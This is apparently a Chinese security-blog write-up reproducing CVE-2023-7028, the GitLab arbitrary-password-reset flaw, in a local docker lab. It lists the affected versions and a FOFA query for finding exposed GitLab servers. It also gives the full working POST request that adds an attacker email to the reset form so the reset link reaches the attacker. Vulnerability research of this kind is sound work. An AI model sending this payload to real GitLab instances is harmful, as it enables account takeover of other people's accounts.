漏洞复现--GitLab 任意用户密码重置漏洞(CVE-2023-7028)

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:漏洞描述

2024年1月11日,Gitlab 官方披露 CVE-2023-7028,GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置Gitlab 仅对可信地址开放。

二:漏洞影响版本

16.1 <=GitLab CE<16.1.6

16.2 <=GitLab CE<16.2.8

16.3 <=GitLab CE<16.3.6

16.4 <=GitLab CE<16.4.4

16.5 <=GitLab CE<16.5.6

16.6 <=GitLab CE<16.6.4

16.7 <=GitLab CE<16.7.2

16.1 <=GitLab EE<16.1.6

16.2 <=GitLab EE<16.2.8

16.3 <=GitLab EE<16.3.6

16.4 <=GitLab EE<16.4.4

16.5 <=GitLab EE<16.5.6

16.6 <=GitLab EE<16.6.4

16.7 <=GitLab EE<16.7.2

三:网络空间测绘查询

fofa:
app="GitLab"

四:漏洞复现

由于此漏洞利用条件为需获取系统已有用户注册邮箱地址,此次复现在本地搭建docker环境复现。

访问找回密码页面:/users/password/new,输入目标邮箱,抓包

POC:
user[email][]=mubiao@email.com&user[email][]=attacker@email.com

构造数据包,注意authenticity_token字段每次是不同的

POST /users/password HTTP/1.1
Host: 192.168.200.130:9980
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.200.130:9980
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.130:9980/users/password/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: preferred_language=zh_CN; 16.5.4-hide-alert-modal=true; known_sign_in=YlhGQWZqemF5Ri90bGh3WkZKdmQ0amtrSTVJdmtSTXRycWxQRjB3Tm1aTDczTnpmaGVLY1JPanZEdENQV3FRNmVsS3FWOG5YQzJIK2tpMytwMVV4MnZ1YlhUZFZzK2xHVVZ6TlAxWlJicjBDdmovdWpXVng1RzBYMlVtbENHV0ktLUhqYnNYM2pDM3pOdk1wN2wraGJLNVE9PQ%3D%3D--0ca69ec494c505a0cfec65e71a8c2315e444fcff; _gitlab_session=95c98f8c215016ce1c31bcd676c8c9d0
Connection: close

authenticity_token=XK1-wmJyvT2Jre1VEQ2ufEmR2GmsSju99_kJRgczjgIJArZH5yT2h44izgBfX0x0OW9VLtQbUz2yt9w--1wNag&user%5Bemail%5D=mubiao%40email.com&user%5Bemail%5D=attacker@email.com

跟随重定向

可以看到提示,如果两个邮箱都成功注册过,那么攻击者邮箱将会收到目标用户的重置密码邮件

相关推荐
网络研究院1 小时前
如何安全地大规模部署 GenAI 应用程序
网络·人工智能·安全·ai·部署·观点
DonciSacer4 小时前
TryHackMe 第6天 | Web Fundamentals (一)
安全
云卓科技8 小时前
无人机之数据提取篇
科技·安全·机器人·无人机·制造
山兔19 小时前
工控安全防护机制与技术
安全
CyberMuse9 小时前
网络安全cybersecurity的几个新领域
网络安全
HEX9CF10 小时前
【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)
开发语言·前端·javascript·安全·网络安全·ecmascript·xss
火红的小辣椒10 小时前
XSS基础
android·web安全
kuber090910 小时前
APISIX 联动雷池 WAF 实现 Web 安全防护
网络安全
Z3r4y10 小时前
【Web】portswigger 服务端原型污染 labs 全解
javascript·web安全·nodejs·原型链污染·wp·portswigger
小小工匠11 小时前
加密与安全_HOTP一次性密码生成算法
算法·安全·htop·一次性密码